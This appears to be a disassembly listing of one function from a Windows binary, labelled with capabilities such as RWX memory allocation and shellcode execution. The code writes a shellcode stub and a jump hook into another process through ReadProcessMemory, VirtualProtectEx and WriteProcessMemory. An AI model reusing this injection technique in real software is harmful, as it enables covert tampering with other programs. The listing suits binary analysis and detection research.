Function at 0x499f10
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
mov eax, 0x1068
call fcn.00402b8a
mov eax, dword [0x589780]
xor eax, esp
mov dword [esp + 0x1064], eax
mov ecx, dword [0x58e390]
xor al, al
mov byte [esp + 3], al
push ebx
mov ebx, dword [esp + 0x1070]
push esi
push edi
mov edi, dword [esp + 0x107c]
test ecx, ecx
je 0x499f61
mov edx, dword [0x58e394]
test edx, edx
je 0x499f61
mov esi, dword [0x58e398]
test esi, esi
jne 0x49a074
push str.ntdll.dll
call fcn.004993b0
add esp, 4
mov esi, eax
lea eax, [esp + 0x1030]
push 0
push 0x40
push eax
push 0x566158
call fcn.0040a290
push eax
push esi
call fcn.004060a5
push 0
mov dword [0x58e390], eax
lea eax, [esp + 0x1034]
push 0x40
push eax
push 0x566190
call fcn.0040a290
push eax
push esi
call fcn.004060a5
push 0
mov dword [0x58e394], eax
lea eax, [esp + 0x1034]
push 0x40
push eax
push 0x56614c
call fcn.0040a290
push eax
push esi
call fcn.004060a5
push 0
mov dword [0x58e398], eax
lea eax, [esp + 0x1034]
push 0x40
push eax
push 0x566164
call fcn.0040a290
push eax
push esi
call fcn.004060a5
push 0
mov dword [0x58e39c], eax
lea eax, [esp + 0x1034]
push 0x40
push eax
push 0x56617c
call fcn.0040a290
push eax
push esi
call fcn.004060a5
push 0
mov dword [0x58e3a0], eax
lea eax, [esp + 0x1034]
push 0x40
push eax
push 0x5661bc
call fcn.0040a290
push eax
push esi
call fcn.004060a5
push 0
mov dword [0x58e3a4], eax
lea eax, [esp + 0x1034]
push 0x40
push eax
push 0x5661a8
call fcn.0040a290
push eax
push esi
call fcn.004060a5
mov ecx, dword [0x58e390]
mov edx, dword [0x58e394]
mov esi, dword [0x58e398]
mov dword [0x58e3a8], eax
mov al, byte [esp + 0xf]
test ecx, ecx
je 0x49a507
test edx, edx
je 0x49a507
test esi, esi
je 0x49a507
push ebp
push ebx
push 0x2000
call fcn.00405e39
mov ebp, eax
test ebp, ebp
je 0x49a502
mov eax, 0xb848
mov byte [esp + 0x1b], 1
mov word [esp + 0x30], ax
xorps xmm0, xmm0
mov eax, dword [0x58e390]
cdq
mov esi, eax
mov word [esp + 0x3a], 0x5150
mov ecx, edx
mov dword [esp + 0x32], esi
mov eax, 0xb948
mov dword [esp + 0x36], ecx
mov word [esp + 0x45], ax
mov eax, ebp
cdq
mov dword [esp + 0x2c], eax
mov dword [esp + 0x47], eax
mov eax, 0xba48
mov word [esp + 0x4f], ax
lea eax, [ebp + 0x28c]
mov dword [esp + 0x28], edx
mov dword [esp + 0x4b], edx
cdq
mov dword [esp + 0x6b], ecx
mov ecx, edi
mov dword [esp + 0x51], eax
mov eax, 0xe2ff
mov dword [esp + 0x55], edx
mov byte [esp + 0x3c], 0x52
mov dword [esp + 0x3d], 0x51415041
lea edx, [ecx + 2]
mov dword [esp + 0x41], 0x28ec8348
mov word [esp + 0x59], ax
mov dword [esp + 0x5b], 0x4c49636d
movlpd qword [esp + 0x5f], xmm0
mov dword [esp + 0x67], esi
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x49a140
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
mov word [esp + 0x74], ax
lea ecx, [esp + 0x84]
add eax, 2
sub ecx, edi
mov word [esp + 0x76], ax
lea eax, [ebp + 0x54]
cdq
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], edx
nop word [eax + eax]
movzx eax, word [edi]
lea edi, [edi + 2]
mov word [ecx + edi - 2], ax
test ax, ax
jne 0x49a180
mov eax, dword [0x58e394]
lea edi, [esp + 0x2f0]
cdq
mov ecx, 0x86
mov dword [esp + 0x28c], eax
mov esi, 0x589320
mov eax, dword [0x58e398]
mov dword [esp + 0x290], edx
cdq
mov dword [esp + 0x294], eax
mov eax, dword [0x58e39c]
mov dword [esp + 0x298], edx
cdq
mov dword [esp + 0x29c], eax
mov eax, dword [0x58e3a0]
mov dword [esp + 0x2a0], edx
cdq
mov dword [esp + 0x2a4], eax
mov eax, dword [0x58e3a4]
mov dword [esp + 0x2a8], edx
cdq
mov dword [esp + 0x2ac], eax
mov eax, dword [0x58e3a8]
mov dword [esp + 0x2b0], edx
cdq
mov dword [esp + 0x2b4], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x2b8], edx
mov dword [esp + 0x1030], 0
mov dword [esp + 0x2bc], 0x1000b983
mov dword [esp + 0x2c0], 0x74000000
mov dword [esp + 0x2c4], 0xc483482b
mov dword [esp + 0x2c8], 0x41594128
mov dword [esp + 0x2cc], 0x58595a58
rep movsd dword es:[edi], dword [esi]
push eax
push 5
lea eax, [esp + 0x77]
push eax
movsw word es:[edi], word [esi]
push dword [esp + 0x73]
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x49a4dc
cmp dword [esp + 0x14], 5
jne 0x49a4dc
lea eax, [esp + 0x14]
push eax
push 0x20
lea eax, [esp + 0x2d8]
push eax
push dword [esp + 0x73]
push ebx
call esi
test eax, eax
je 0x49a4dc
cmp dword [esp + 0x14], 0x20
jne 0x49a4dc
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x14]
push eax
push 0x1004
lea eax, [esp + 0x38]
push eax
push ebp
push ebx
call esi
test eax, eax
je 0x49a4dc
cmp dword [esp + 0x14], 0x1004
jne 0x49a4dc
cmp byte [esp + 0x6f], 0xe9
mov eax, dword [esp + 0x6f]
mov dword [esp + 0x20], eax
mov al, byte [esp + 0x73]
mov byte [esp + 0x24], al
jne 0x49a47f
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x49a479
mov eax, dword [esp + 0x67]
mov edi, dword [esp + 0x21]
add eax, 5
add edi, eax
lea eax, [esp + 0x14]
push eax
push 0x1000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x49a464
cmp dword [esp + 0x14], 0x1000
jne 0x49a464
mov eax, dword [esi + 0x2b]
cmp eax, 0x4c49636d
je 0x49a366
cmp eax, 0x4c69636d
jne 0x49a464
mov ecx, dword [esi + 0x2f]
mov eax, ecx
or eax, dword [esi + 0x33]
je 0x49a3ae
lea eax, [esp + 0x14]
mov edi, ecx
push eax
push 0x1000
push esi
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x49a408
cmp dword [esp + 0x14], 0x1000
jne 0x49a408
mov eax, dword [esi + 0x2b]
cmp eax, 0x4c49636d
je 0x49a3a4
cmp eax, 0x4c69636d
jne 0x49a408
mov ecx, dword [esi + 0x2f]
mov eax, ecx
or eax, dword [esi + 0x33]
jne 0x49a370
test edi, edi
je 0x49a464
lea eax, [esp + 0x1c]
push eax
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x49a464
mov eax, dword [esp + 0x2c]
mov dword [esi + 0x2f], eax
mov eax, dword [esp + 0x28]
mov dword [esi + 0x33], eax
lea eax, [esp + 0x14]
push eax
push 0x1000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x49a417
cmp dword [esp + 0x14], 0x1000
jne 0x49a417
mov byte [esp + 0x13], 1
jmp 0x49a41d
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x49a479
xor al, al
mov byte [esp + 0x13], al
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x20]
push 0x1000
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
call edi
cmp dword [esi + 0x2b], 0x4c69636d
jne 0x49a46a
lea eax, [esp + 0x14]
mov byte [esp + 0x1b], 0
push eax
push 0x1000
lea eax, [esp + 0x38]
mov dword [esp + 0x63], 0x4c69636d
push eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x49a46a
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov al, byte [esp + 0x13]
test al, al
jne 0x49a4d5
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x1c]
push eax
push 0x40
push 5
push dword [esp + 0x73]
push ebx
call edi
test eax, eax
je 0x49a4d1
mov ecx, dword [esp + 0x67]
mov eax, ebp
sub eax, ecx
mov byte [esp + 0x20], 0xe9
sub eax, 5
mov dword [esp + 0x21], eax
lea eax, [esp + 0x14]
push eax
push 5
lea eax, [esp + 0x28]
push eax
push ecx
push ebx
call esi
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x20]
push 5
push dword [esp + 0x73]
push ebx
call edi
mov al, 1
mov byte [esp + 0x13], al
jmp 0x49a4d5
mov al, byte [esp + 0x13]
cmp byte [esp + 0x1b], 0
je 0x49a506
lea eax, [esp + 0x28]
push eax
push 0x20
push 0x1000
push ebp
push ebx
call edi
lea eax, [esp + 0x28]
push eax
push 4
push 0x1000
lea eax, [ebp + 0x1000]
push eax
push ebx
call edi
mov al, byte [esp + 0x13]
pop ebp
mov ecx, dword [esp + 0x1070]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040512d
add esp, 0x1068
ret